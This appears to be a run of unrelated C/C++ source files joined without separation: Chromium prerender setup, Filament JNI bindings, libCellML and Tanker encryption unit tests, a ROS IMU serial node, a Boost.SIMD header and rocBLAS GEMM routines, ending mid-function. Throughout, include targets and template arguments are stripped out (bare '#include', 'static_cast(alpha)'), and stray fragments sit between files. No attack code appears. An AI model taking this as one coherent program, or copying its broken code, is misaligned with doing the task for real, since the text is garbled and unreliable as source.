BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/prerender/prerender_field_trial.h" #include #include "base/command_line.h" #include "base/logging.h" #include "base/metrics/field_trial.h" #include "chrome/browser/prerender/prerender_manager.h" #include "chrome/common/chrome_switches.h" namespace prerender { void ConfigurePrerender(const base::CommandLine& command_line) { PrerenderManager::PrerenderManagerMode mode = PrerenderManager::PRERENDER_MODE_ENABLED; if (command_line.HasSwitch(switches::kPrerenderMode)) { const std::string switch_value = command_line.GetSwitchValueASCII(switches::kPrerenderMode); if (switch_value == switches::kPrerenderModeSwitchValueDisabled) { mode = PrerenderManager::PRERENDER_MODE_DISABLED; } else if (switch_value.empty() || switch_value == switches::kPrerenderModeSwitchValueEnabled) { // The empty string means the option was provided with no value, and that // means enable. mode = PrerenderManager::PRERENDER_MODE_ENABLED; } else { mode = PrerenderManager::PRERENDER_MODE_DISABLED; LOG(ERROR) << "Invalid --prerender option received on command line: " << switch_value; LOG(ERROR) << "Disabling prerendering!"; } } PrerenderManager::SetMode(mode); } bool IsOmniboxEnabled(Profile* profile) { if (!profile) return false; if (!PrerenderManager::IsPrerenderingPossible()) return false; // Override any field trial groups if the user has set a command line flag. if (base::CommandLine::ForCurrentProcess()->HasSwitch( switches::kPrerenderFromOmnibox)) { const std::string switch_value = base::CommandLine::ForCurrentProcess()->GetSwitchValueASCII( switches::kPrerenderFromOmnibox); if (switch_value == switches::kPrerenderFromOmniboxSwitchValueEnabled) return true; if (switch_value == switches::kPrerenderFromOmniboxSwitchValueDisabled) return false; DCHECK_EQ(switches::kPrerenderFromOmniboxSwitchValueAuto, switch_value); } return (base::FieldTrialList::FindFullName("PrerenderFromOmnibox") != "OmniboxPrerenderDisabled"); } } // namespace prerender /* * Copyright (C) 2021 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include using namespace filament; using namespace filament::viewer; extern "C" JNIEXPORT jlong JNICALL Java_com_google_android_filament_utils_AutomationEngine_nCreateAutomationEngine(JNIEnv* env, jclass, jstring spec_) { const char* spec = env->GetStringUTFChars(spec_, 0); jlong result = (jlong) AutomationEngine::createFromJSON(spec, strlen(spec)); env->ReleaseStringUTFChars(spec_, spec); return result; } extern "C" JNIEXPORT jlong JNICALL Java_com_google_android_filament_utils_AutomationEngine_nCreateDefaultAutomationEngine(JNIEnv* env, jclass klass) { return (jlong) AutomationEngine::createDefaultTest(); } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nSetOptions(JNIEnv* env, jclass klass, jlong nativeAutomation, jfloat sleepDuration, jint minFrameCount, jboolean verbose) { AutomationEngine* automation = (AutomationEngine*) nativeAutomation; AutomationEngine::Options options = { .sleepDuration = sleepDuration, .minFrameCount = minFrameCount, .verbose = (bool) verbose, // Since they write to the filesystem, we do not currently support exporting screenshots // and JSON files on Android. .exportScreenshots = false, .exportSettings = false, }; automation->setOptions(options); } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nStartRunning(JNIEnv* env, jclass klass, jlong nativeAutomation) { AutomationEngine* automation = (AutomationEngine*) nativeAutomation; automation->startRunning(); } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nStartBatchMode(JNIEnv* env, jclass klass, jlong nativeAutomation) { AutomationEngine* automation = (AutomationEngine*) nativeAutomation; automation->startBatchMode(); } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nTick(JNIEnv* env, jclass klass, jlong nativeAutomation, jlong view, jlongArray materials, jlong renderer, jfloat deltaTime) { using MaterialPointer = MaterialInstance*; jsize materialCount = 0; jlong* longMaterials = nullptr; MaterialPointer* ptrMaterials = nullptr; if (materials) { materialCount = env->GetArrayLength(materials); ptrMaterials = new MaterialPointer[materialCount]; longMaterials = env->GetLongArrayElements(materials, nullptr); for (jsize i = 0; i < materialCount; i++) { ptrMaterials[i] = (MaterialPointer) longMaterials[i]; } } AutomationEngine* automation = (AutomationEngine*) nativeAutomation; automation->tick((View*) view, ptrMaterials, materialCount, (Renderer*) renderer, deltaTime); if (longMaterials) { env->ReleaseLongArrayElements(materials, longMaterials, 0); delete[] ptrMaterials; } } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nSignalBatchMode(JNIEnv*, jclass, jlong native) { AutomationEngine* automation = (AutomationEngine*) native; automation->signalBatchMode(); } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nStopRunning(JNIEnv*, jclass, jlong native) { AutomationEngine* automation = (AutomationEngine*) native; automation->stopRunning(); } extern "C" JNIEXPORT jboolean JNICALL Java_com_google_android_filament_utils_AutomationEngine_nShouldClose(JNIEnv*, jclass, jlong native) { AutomationEngine* automation = (AutomationEngine*) native; return automation->shouldClose(); } extern "C" JNIEXPORT void JNICALL Java_com_google_android_filament_utils_AutomationEngine_nDestroy(JNIEnv*, jclass, jlong native) { AutomationEngine* automation = (AutomationEngine*) native; delete automation; } 1-10 /* Copyright libCellML Contributors Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "gtest/gtest.h" #include /* * The tests in this file are here to catch any branches of code that * are not picked up by the main tests testing the API of the library */ TEST(Coverage, connectionComment) { const std::string in = "\n" "\n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" "\n"; libcellml::ParserPtr p = libcellml::Parser::create(); p->parseModel(in); EXPECT_EQ(size_t(4), p->issueCount()); } TEST(Coverage, importWithNonHrefXlink) { const std::string e = "\n" "\n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" " \n" "\n"; // Parse libcellml::ParserPtr parser = libcellml::Parser::create(); parser->parseModel(e); EXPECT_EQ(size_t(0), parser->issueCount()); } TEST(Coverage, entityHasParent) { libcellml::ModelPtr m = libcellml::Model::create(); libcellml::ComponentPtr c1 = libcellml::Component::create(); libcellml::ComponentPtr c2 = libcellml::Component::create(); libcellml::ComponentPtr c3 = libcellml::Component::create(); libcellml::VariablePtr v = libcellml::Variable::create(); c2->addVariable(v); c1->addComponent(c2); m->addComponent(c1); EXPECT_TRUE(v->hasParent()); EXPECT_TRUE(c2->hasParent()); EXPECT_TRUE(c1->hasParent()); EXPECT_TRUE(c2->hasParent()); EXPECT_FALSE(c3->hasParent()); } TEST(Annotator, automaticIdsUndefined) { auto annotator = libcellml::Annotator::create(); auto model = libcellml::Model::create(); annotator->setModel(model); annotator->assignIds(libcellml::CellmlElementType::UNDEFINED); EXPECT_TRUE(annotator->hasModel()); EXPECT_EQ("", model->id()); } TEST(Annotator, automaticIdUndefined) { auto annotator = libcellml::Annotator::create(); auto model = libcellml::Model::create(); annotator->setModel(model); auto pair = std::make_pair(libcellml::CellmlElementType::UNDEFINED, nullptr); annotator->assignId(pair); EXPECT_TRUE(annotator->hasModel()); EXPECT_EQ("", model->id()); } #include #include #include #include #include #include #include #include #include using namespace std; string rec_buffer; int main(int argc, char** argv) { std::string port("/dev/ttyACM0"); unsigned long baud = 115200; serial::Serial ser(port,baud,serial::Timeout::simpleTimeout(1000)); ros::init(argc, argv, "mpu6050_serial_to_imu_node"); /* ros::NodeHandle private_node_handle("~"); private_node_handle.param("port", port, "/dev/ttyACM0"); */ ros::NodeHandle nh("yaw"); ros::Publisher imu_pub = nh.advertise("yaw_data", 5); ros::Rate r(50); // 200 hz geometry_msgs::Vector3 imu_yaw; std::string yaw_str; float yaw; while(ros::ok()) { rec_buffer = ser.readline(26,"\n"); const char *receive_data = rec_buffer.data(); if(rec_buffer.length()>=22) { yaw_str.assign(rec_buffer, 4,8); const char *receive_yaw = yaw_str.data(); ROS_INFO("receive data: %s", receive_data); yaw = atof(receive_yaw); imu_yaw.z = yaw * 3.1415926 /180; ROS_INFO("Yaw: %f", yaw); imu_pub.publish(imu_yaw); } ros::spinOnce(); r.sleep(); } } #include #include #include #include #include #include using namespace Tanker; using namespace Tanker::Errors; namespace { auto makeSession() { // libc++.9 does not implement that // return std::reinterpret_pointer_cast(std::make_shared()); auto tmp = std::make_shared(); using Ptr = std::shared_ptr; return Ptr(tmp, reinterpret_cast(tmp.get())); } class FixtureEncrytionSession { public: FixtureEncrytionSession() : session(makeSession()), encSession(session) { } protected: std::shared_ptr session; Tanker::EncryptionSession encSession; }; } TEST_SUITE("Ecryption session tests") { TEST_CASE("decryptedSize and encryptedSize should be symmetrical") { std::vector a0(EncryptionSession::encryptedSize(0)); Serialization::varint_write(a0.data(), EncryptionSession::version()); std::vector a42(EncryptionSession::encryptedSize(42)); Serialization::varint_write(a42.data(), EncryptionSession::version()); CHECK(EncryptionSession::decryptedSize(a0) == 0); CHECK(EncryptionSession::decryptedSize(a42) == 42); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "encrypt/decrypt should work with an empty buffer") { std::vector clearData; std::vector encryptedData( EncryptionSession::encryptedSize(clearData.size())); auto const metadata = AWAIT(encSession.encrypt(encryptedData.data(), clearData)); std::vector decryptedData( EncryptionSession::decryptedSize(encryptedData)); AWAIT_VOID( Encryptor::decrypt(decryptedData.data(), metadata.key, encryptedData)); CHECK(clearData == decryptedData); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "encrypt/decrypt should work with a normal buffer") { auto clearData = make_buffer("this is the data to encrypt"); std::vector encryptedData( EncryptionSession::encryptedSize(clearData.size())); auto const metadata = AWAIT(encSession.encrypt(encryptedData.data(), clearData)); std::vector decryptedData( EncryptionSession::decryptedSize(encryptedData)); AWAIT_VOID( Encryptor::decrypt(decryptedData.data(), metadata.key, encryptedData)); CHECK(clearData == decryptedData); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "encrypt should never give the same result twice") { auto clearData = make_buffer("this is the data to encrypt"); std::vector encryptedData1( EncryptionSession::encryptedSize(clearData.size())); AWAIT(encSession.encrypt(encryptedData1.data(), clearData)); std::vector encryptedData2( EncryptionSession::encryptedSize(clearData.size())); AWAIT(encSession.encrypt(encryptedData2.data(), clearData)); CHECK(encryptedData1 != encryptedData2); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "decrypt should not work with a corrupted buffer") { auto const clearData = make_buffer("this is very secret"); std::vector encryptedData( EncryptionSession::encryptedSize(clearData.size())); auto const metadata = AWAIT(encSession.encrypt(encryptedData.data(), clearData)); std::vector decryptedData( EncryptionSession::decryptedSize(encryptedData)); encryptedData[2]++; TANKER_CHECK_THROWS_WITH_CODE( AWAIT_VOID(Encryptor::decrypt( decryptedData.data(), metadata.key, encryptedData)), Errc::DecryptionFailed); } TEST_CASE_FIXTURE( FixtureEncrytionSession, "Session's resourceId should match metadata and V5 resource ID") { auto clearData = make_buffer("this is the data to encrypt"); std::vector encryptedData( EncryptionSession::encryptedSize(clearData.size())); auto const metadata = AWAIT(encSession.encrypt(encryptedData.data(), clearData)); CHECK(encSession.resourceId() == metadata.resourceId); CHECK(EncryptorV5::extractResourceId(encryptedData) == metadata.resourceId); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "resourceId is the same for all session encryptions") { auto clearData1 = make_buffer("Rotating locomotion in living systems"); auto clearData2 = make_buffer("Gondwanatheria, an enigmatic extinct group"); std::vector encryptedData1( EncryptionSession::encryptedSize(clearData1.size())); auto const meta1 = AWAIT(encSession.encrypt(encryptedData1.data(), clearData1)); std::vector encryptedData2( EncryptionSession::encryptedSize(clearData2.size())); auto const meta2 = AWAIT(encSession.encrypt(encryptedData2.data(), clearData2)); CHECK(meta1.resourceId == meta2.resourceId); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "encryption key is the same for all session encryptions") { auto clearData1 = make_buffer("The Australian Cattle Dog is energetic and intelligent"); auto clearData2 = make_buffer("It nests in hollows of gum trees"); std::vector encryptedData1( EncryptionSession::encryptedSize(clearData1.size())); auto const meta1 = AWAIT(encSession.encrypt(encryptedData1.data(), clearData1)); std::vector encryptedData2( EncryptionSession::encryptedSize(clearData2.size())); auto const meta2 = AWAIT(encSession.encrypt(encryptedData2.data(), clearData2)); CHECK(meta1.resourceId == meta2.resourceId); } TEST_CASE_FIXTURE(FixtureEncrytionSession, "cannot encrypt if a session has been reset") { auto clearData = make_buffer("It nests in hollows of gum trees"); std::vector encryptedData( EncryptionSession::encryptedSize(clearData.size())); session.reset(); TANKER_CHECK_THROWS_WITH_CODE( AWAIT(encSession.encrypt(encryptedData.data(), clearData)), Errc::PreconditionFailed); TANKER_CHECK_THROWS_WITH_CODE(encSession.resourceId(), Errc::PreconditionFailed); TANKER_CHECK_THROWS_WITH_CODE(encSession.sessionKey(), Errc::PreconditionFailed); } } modules/boost/simd/base/include/boost/simd/arithmetic/functions/round.hpp //============================================================================== // Copyright 2015 - // Copyright 2003 - 2012 LASMEA UMR 6602 CNRS/Univ. Clermont II // Copyright 2009 - 2015 LRI UMR 8623 CNRS/Univ Paris Sud XI // // Distributed under the Boost Software License, Version 1.0. // See accompanying file LICENSE.txt or copy at // http://www.boost.org/LICENSE_1_0.txt //============================================================================== #ifndef BOOST_SIMD_ARITHMETIC_FUNCTIONS_ROUND_HPP_INCLUDED #define BOOST_SIMD_ARITHMETIC_FUNCTIONS_ROUND_HPP_INCLUDED #include #include namespace boost { namespace simd { namespace tag { /*! @brief round generic tag Represents the round function in generic contexts. @par Models: Hierarchy **/ struct round_ : ext::elementwise_ { /// @brief Parent hierarchy typedef ext::elementwise_ parent; template static BOOST_FORCEINLINE BOOST_AUTO_DECLTYPE dispatch(Args&&... args) BOOST_AUTO_DECLTYPE_BODY( dispatching_round_( ext::adl_helper(), static_cast(args)... ) ) }; } namespace ext { template BOOST_FORCEINLINE generic_dispatcher dispatching_round_(adl_helper, boost::dispatch::meta::unknown_, ...) { return generic_dispatcher(); } template struct impl_round_; } /*! Computes the rounded to nearest integer away from 0 @par semantic: For any given value @c x of type @c T: @code T r = round(x); @endcode Returns the nearest integer to x. @par Note: aways from 0 means that half integer values are rounded to the nearest integer of greatest absolute value @param x value to be rounded @return a value of the same type as the input. **/ BOOST_DISPATCH_FUNCTION_IMPLEMENTATION(tag::round_, round, 1) /*! round(x,n) rounds aways from 0 to n digits: @par semantic: For any given value @c x of type @c T and integer n : @code T r = round(x, n); @endcode is equivalent to @code T r = round(x*exp10(n)*exp10(-n)); @endcode @par Note: n > 0: round to n digits to the right of the decimal point. n = 0: round to the nearest integer. n < 0: round to n digits to the left of the decimal point. aways from 0 means that half integer values are rounded to the nearest integer of greatest absolute value @param x value to be rounded @param n number of digits @return a value of the same type as the input. **/ BOOST_DISPATCH_FUNCTION_IMPLEMENTATION(tag::round_, round, 2) } } #endif imcarsonliao/rocBLAS0 /* ************************************************************************ * Copyright 2016 Advanced Micro Devices, Inc. * ************************************************************************ */ #include #include "rocblas.h" #include "Tensile.h" #include "TensileTypes.h" #include "status.h" #include "definitions.h" #include "handle.h" #include "logging.h" #include "utility.h" #include #include "rocblas_gemm_ex.hpp" /*! \brief BLAS EX API \details GEMM_EX performs one of the matrix-matrix operations D = alpha*op( A )*op( B ) + beta*C, where op( X ) is one of op( X ) = X or op( X ) = X**T or op( X ) = X**H, alpha and beta are scalars, and A, B, C, and D are matrices, with op( A ) an m by k matrix, op( B ) a k by n matrix and C and D are m by n matrices. @param[in] handle rocblas_handle. handle to the rocblas library context queue. @param[in] transA rocblas_operation specifies the form of op( A ) @param[in] transB rocblas_operation specifies the form of op( B ) @param[in] m rocblas_int. matrix dimension m @param[in] n rocblas_int. matrix dimension n @param[in] k rocblas_int. matrix dimension k @param[in] alpha const void * specifies the scalar alpha. Same datatype as compute_type. @param[in] a void * pointer storing matrix A on the GPU. @param[in] a_type rocblas_datatype specifies the datatype of matrix A @param[in] lda rocblas_int specifies the leading dimension of A. @param[in] b void * pointer storing matrix B on the GPU. @param[in] b_type rocblas_datatype specifies the datatype of matrix B @param[in] ldb rocblas_int specifies the leading dimension of B. @param[in] beta const void * specifies the scalar beta. Same datatype as compute_type. @param[in] c void * pointer storing matrix C on the GPU. @param[in] c_type rocblas_datatype specifies the datatype of matrix C @param[in] ldc rocblas_int specifies the leading dimension of C. @param[out] d void * pointer storing matrix D on the GPU. @param[in] d_type rocblas_datatype specifies the datatype of matrix D @param[in] ldd rocblas_int specifies the leading dimension of D. @param[in] compute_type rocblas_datatype specifies the datatype of computation @param[in] algo rocblas_gemm_algo enumerant specifying the algorithm type. @param[in] solution_index int32_t reserved for future use @param[in] flags uint32_t reserved for future use @param[in/out] workspace_size size_t* size of workspace @parm[in] workspace void* workspace ********************************************************************/ extern "C" rocblas_status rocblas_gemm_ex(rocblas_handle handle, rocblas_operation trans_a, rocblas_operation trans_b, rocblas_int m, rocblas_int n, rocblas_int k, const void* alpha, const void* a, rocblas_datatype a_type, rocblas_int lda, const void* b, rocblas_datatype b_type, rocblas_int ldb, const void* beta, const void* c, rocblas_datatype c_type, rocblas_int ldc, void* d, rocblas_datatype d_type, rocblas_int ldd, rocblas_datatype compute_type, rocblas_gemm_algo algo, int32_t solution_index, uint32_t flags, size_t* workspace_size, void* workspace) { // handle, alpha, beta must not be null pointers for logging if(nullptr == handle) { return rocblas_status_invalid_handle; } if(nullptr == alpha || nullptr == beta) { return rocblas_status_invalid_pointer; } if(handle->pointer_mode == rocblas_pointer_mode_host) { double alpha_double; double beta_double; if(compute_type == rocblas_datatype_f16_r) { _Float16 alpha_half = *(static_cast(alpha)); _Float16 beta_half = *(static_cast(beta)); alpha_double = static_cast(alpha_half); beta_double = static_cast(beta_half); } else if(compute_type == rocblas_datatype_f32_r) { float alpha_float = *(static_cast(alpha)); float beta_float = *(static_cast(beta)); alpha_double = static_cast(alpha_float); beta_double = static_cast(beta_float); } else if(compute_type == rocblas_datatype_f64_r) { alpha_double = *(static_cast(alpha)); beta_double = *(static_cast(beta)); } else if(compute_type == rocblas_datatype_i32_r) { int alpha_int = *(static_cast(alpha)); int beta_int = *(static_cast(beta)); alpha_double = static_cast(alpha_int); beta_double = static_cast(beta_int); } log_trace(handle, "rocblas_gemm_ex", trans_a, trans_b, m, n, k, alpha_double, (const void*&)a, a_type, lda, (const void*&)b, b_type, ldb, beta_double, (const void*&)c, c_type, ldc, (const void*&)d, d_type, ldd, compute_type, algo, solution_index, flags, workspace_size, (const void*&)workspace); std::string trans_a_letter = rocblas_transpose_letter(trans_a); std::string trans_b_letter = rocblas_transpose_letter(trans_b); std::string a_type_letter = rocblas_datatype_letter(a_type); std::string b_type_letter = rocblas_datatype_letter(b_type); std::string c_type_letter = rocblas_datatype_letter(c_type); std::string d_type_letter = rocblas_datatype_letter(d_type); std::string compute_type_letter = rocblas_datatype_letter(compute_type); log_bench(handle, "./rocblas-bench -f gemm_ex", "--transposeA", trans_a_letter, "--transposeB", trans_b_letter, "-m", m, "-n", n, "-k", k, "--alpha", alpha_double, "--a_type", a_type_letter, "--lda", lda, "--b_type", b_type_letter, "--ldb", ldb, "--beta", beta_double, "--c_type", c_type_letter, "--ldc", ldc, "--d_type", d_type_letter, "--ldd", ldd, "--compute_type", compute_type_letter, "--algo", algo, "--solution_index", solution_index, "--flags", flags, "--workspace_size", workspace_size); } else { log_trace(handle, "rocblas_gemm_ex", trans_a, trans_b, m, n, k, (const void*&)alpha, (const void*&)a, a_type, lda, (const void*&)b, b_type, ldb, (const void*&)beta, (const void*&)c, c_type, ldc, (const void*&)d, d_type, ldd, compute_type, algo, solution_index, flags, "--workspace_size", workspace_size); } // quick return m,n,k equal to 0 is valid in BLAS if(m == 0 || n == 0 || k == 0) { return rocblas_status_success; } // sizes must not be negative if(m < 0 || n < 0 || k < 0) { return rocblas_status_invalid_size; } // pointers must be valid if(nullptr == a || nullptr == b || nullptr == c || nullptr == d) { return rocblas_status_invalid_pointer; } rocblas_int num_rows_a = (trans_a == rocblas_operation_none) ? m : k; rocblas_int num_rows_b = (trans_b == rocblas_operation_none) ? k : n; rocblas_int num_rows_c = m; rocblas_int num_rows_d = m; // leading dimensions must be valid if(num_rows_a > lda || num_rows_b > ldb || num_rows_c > ldc || num_rows_d > ldd) { return rocblas_status_invalid_size; } rocblas_status rb_status = rocblas_status_internal_error; rocblas_int batch_count = 1; rocblas_int stride_a = trans_a == rocblas_operation_none ? lda * k : lda * m; rocblas_int stride_b = trans_b == rocblas_operation_none ? ldb * n : ldb * k; rocblas_int stride_c = ldc * n; rocblas_int stride_d = ldd * n; if(a_type == rocblas_datatype_f64_r && b_type == rocblas_datatype_f64_r && c_type == rocblas_datatype_f64_r && d_type == rocblas_datatype_f64_r && compute_type == rocblas_datatype_f64_r) { rb_status = gemm_ex_typecasting(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_f32_r && b_type == rocblas_datatype_f32_r && c_type == rocblas_datatype_f32_r && d_type == rocblas_datatype_f32_r && compute_type == rocblas_datatype_f32_r) { rb_status = gemm_ex_typecasting(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_f16_r && b_type == rocblas_datatype_f16_r && c_type == rocblas_datatype_f16_r && d_type == rocblas_datatype_f16_r && compute_type == rocblas_datatype_f16_r) { rb_status = gemm_ex_typecasting<_Float16, _Float16, _Float16>(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_f16_r && b_type == rocblas_datatype_f16_r && c_type == rocblas_datatype_f16_r && d_type == rocblas_datatype_f16_r && compute_type == rocblas_datatype_f32_r) { rb_status = gemm_ex_typecasting<_Float16, _Float16, float>(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_i8_r && b_type == rocblas_datatype_i8_r && c_type == rocblas_datatype_i32_r && d_type == rocblas_datatype_i32_r && compute_type == rocblas_datatype_i32_r) { // For now, K must be a multiple of 4, and/or LDA/LDB based on transpose mode if(k % 4 != 0 || (trans_a == rocblas_operation_transpose && lda % 4 != 0) || (trans_b == rocblas_operation_none && ldb % 4 != 0)) { rb_status = rocblas_status_invalid_size; } else { // adjust by 4 for Tensile lda = (trans_a == rocblas_operation_none) ? lda : lda / 4; ldb = (trans_b == rocblas_operation_none) ? ldb / 4 : ldb; stride_a = stride_a / 4; stride_b = stride_b / 4; k = k / 4; rb_status = gemm_ex_typecasting(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } } else { rb_status = rocblas_status_not_implemented; } return rb_status; } /*! \brief BLAS EX API \details GEMM_STRIDED_BATCHED_EX performs one of the strided_batched matrix-matrix operations D[i*stride_d] = alpha*op(A[i*stride_a])*op(B[i*stride_b]) + beta*C[i*stride_c], for i in [0,batch_count-1] where op( X ) is one of op( X ) = X or op( X ) = X**T or op( X ) = X**H, alpha and beta are scalars, and A, B, C, and D are strided_batched matrices, with op( A ) an m by k by batch_count strided_batched matrix, op( B ) a k by n by batch_count strided_batched matrix and C and D are m by n by batch_count strided_batched matrices. The strided_batched matrices are multiple matrices separated by a constant stride. The number of matrices is batch_count. @param[in] handle rocblas_handle. handle to the rocblas library context queue. @param[in] transA rocblas_operation specifies the form of op( A ) @param[in] transB rocblas_operation specifies the form of op( B ) @param[in] m rocblas_int. matrix dimension m @param[in] n rocblas_int. matrix dimension n @param[in] k rocblas_int. matrix dimension k @param[in] alpha const void * specifies the scalar alpha. Same datatype as compute_type. @param[in] a void * pointer storing matrix A on the GPU. @param[in] a_type rocblas_datatype specifies the datatype of matrix A @param[in] lda rocblas_int specifies the leading dimension of A. @param[in] stride_a rocblas_long specifies stride from start of one "A" matrix to the next @param[in] b void * pointer storing matrix B on the GPU. @param[in] b_type rocblas_datatype specifies the datatype of matrix B @param[in] ldb rocblas_int specifies the leading dimension of B. @param[in] stride_b rocblas_long specifies stride from start of one "B" matrix to the next @param[in] beta const void * specifies the scalar beta. Same datatype as compute_type. @param[in] c void * pointer storing matrix C on the GPU. @param[in] c_type rocblas_datatype specifies the datatype of matrix C @param[in] ldc rocblas_int specifies the leading dimension of C. @param[in] stride_c rocblas_long specifies stride from start of one "C" matrix to the next @param[out] d void * pointer storing matrix D on the GPU. @param[in] d_type rocblas_datatype specifies the datatype of matrix D @param[in] ldd rocblas_int specifies the leading dimension of D. @param[in] stride_d rocblas_long specifies stride from start of one "D" matrix to the next @param[in] batch_count rocblas_int specifies stride from start of one "D" matrix to the next @param[in] compute_type rocblas_datatype specifies the datatype of computation @param[in] algo rocblas_gemm_algo enumerant specifying the algorithm type. @param[in] solution_index int32_t reserved for future use @param[in] flags uint32_t reserved for future use @param[in/out] workspace_size size_t* size of workspace @parm[in] workspace void* workspace ********************************************************************/ extern "C" rocblas_status rocblas_gemm_strided_batched_ex(rocblas_handle handle, rocblas_operation trans_a, rocblas_operation trans_b, rocblas_int m, rocblas_int n, rocblas_int k, const void* alpha, const void* a, rocblas_datatype a_type, rocblas_int lda, rocblas_long stride_a, const void* b, rocblas_datatype b_type, rocblas_int ldb, rocblas_long stride_b, const void* beta, const void* c, rocblas_datatype c_type, rocblas_int ldc, rocblas_long stride_c, void* d, rocblas_datatype d_type, rocblas_int ldd, rocblas_long stride_d, rocblas_int batch_count, rocblas_datatype compute_type, rocblas_gemm_algo algo, int32_t solution_index, uint32_t flags, size_t* workspace_size, void* workspace) { // handle, alpha, beta must not be null pointers for logging if(nullptr == handle) { return rocblas_status_invalid_handle; } if(nullptr == alpha || nullptr == beta) { return rocblas_status_invalid_pointer; } if(handle->pointer_mode == rocblas_pointer_mode_host) { double alpha_double; double beta_double; if(compute_type == rocblas_datatype_f16_r) { _Float16 alpha_half = *(static_cast(alpha)); _Float16 beta_half = *(static_cast(beta)); alpha_double = static_cast(alpha_half); beta_double = static_cast(beta_half); } else if(compute_type == rocblas_datatype_f32_r) { float alpha_float = *(static_cast(alpha)); float beta_float = *(static_cast(beta)); alpha_double = static_cast(alpha_float); beta_double = static_cast(beta_float); } else if(compute_type == rocblas_datatype_f64_r) { alpha_double = *(static_cast(alpha)); beta_double = *(static_cast(beta)); } if(compute_type == rocblas_datatype_i32_r) { int alpha_int = *(static_cast(alpha)); int beta_int = *(static_cast(beta)); alpha_double = static_cast(alpha_int); beta_double = static_cast(beta_int); } log_trace(handle, "rocblas_gemm_strided_batched_ex", trans_a, trans_b, m, n, k, alpha_double, (const void*&)a, a_type, lda, stride_a, (const void*&)b, b_type, ldb, stride_b, beta_double, (const void*&)c, c_type, ldc, stride_c, (const void*&)d, d_type, ldd, stride_d, batch_count, compute_type, algo, solution_index, flags, workspace_size, (const void*&)workspace); std::string trans_a_letter = rocblas_transpose_letter(trans_a); std::string trans_b_letter = rocblas_transpose_letter(trans_b); std::string a_type_letter = rocblas_datatype_letter(a_type); std::string b_type_letter = rocblas_datatype_letter(b_type); std::string c_type_letter = rocblas_datatype_letter(c_type); std::string d_type_letter = rocblas_datatype_letter(d_type); std::string compute_type_letter = rocblas_datatype_letter(compute_type); log_bench(handle, "./rocblas-bench -f gemm_strided_batched_ex", "--transposeA", trans_a_letter, "--transposeB", trans_b_letter, "-m", m, "-n", n, "-k", k, "--alpha", alpha_double, "--a_type", a_type_letter, "--lda", lda, "--stride_a", stride_a, "--b_type", b_type_letter, "--ldb", ldb, "--stride_b", stride_b, "--beta", beta_double, "--c_type", c_type_letter, "--ldc", ldc, "--stride_c", stride_c, "--d_type", d_type_letter, "--ldd", ldd, "--stride_d", stride_d, "--batch", batch_count, "--compute_type", compute_type_letter, "--algo", algo, "--solution_index", solution_index, "--flags", flags, "--workspace_size", workspace_size); } else { log_trace(handle, "rocblas_gemm_strided_batched_ex", trans_a, trans_b, m, n, k, (const void*&)alpha, (const void*&)a, a_type, lda, stride_a, (const void*&)b, b_type, ldb, stride_b, (const void*&)beta, (const void*&)c, c_type, ldc, stride_c, (const void*&)d, d_type, ldd, stride_d, batch_count, compute_type, algo, solution_index, flags, "--workspace_size", workspace_size); } // quick return m,n,k equal to 0 is valid in BLAS if(m == 0 || n == 0 || k == 0 || batch_count == 0) { return rocblas_status_success; } // sizes must not be negative if(m < 0 || n < 0 || k < 0 || batch_count < 0) { return rocblas_status_invalid_size; } // pointers must be valid if(nullptr == a || nullptr == b || nullptr == c || nullptr == d || nullptr == alpha || nullptr == beta) { return rocblas_status_invalid_pointer; } rocblas_int num_rows_a = (trans_a == rocblas_operation_none) ? m : k; rocblas_int num_rows_b = (trans_b == rocblas_operation_none) ? k : n; rocblas_int num_rows_c = m; rocblas_int num_rows_d = m; // leading dimensions must be valid if(num_rows_a > lda || num_rows_b > ldb || num_rows_c > ldc || num_rows_d > ldd) { return rocblas_status_invalid_size; } rocblas_status rb_status = rocblas_status_internal_error; if(a_type == rocblas_datatype_f64_r && b_type == rocblas_datatype_f64_r && c_type == rocblas_datatype_f64_r && d_type == rocblas_datatype_f64_r && compute_type == rocblas_datatype_f64_r) { rb_status = gemm_ex_typecasting(handle, 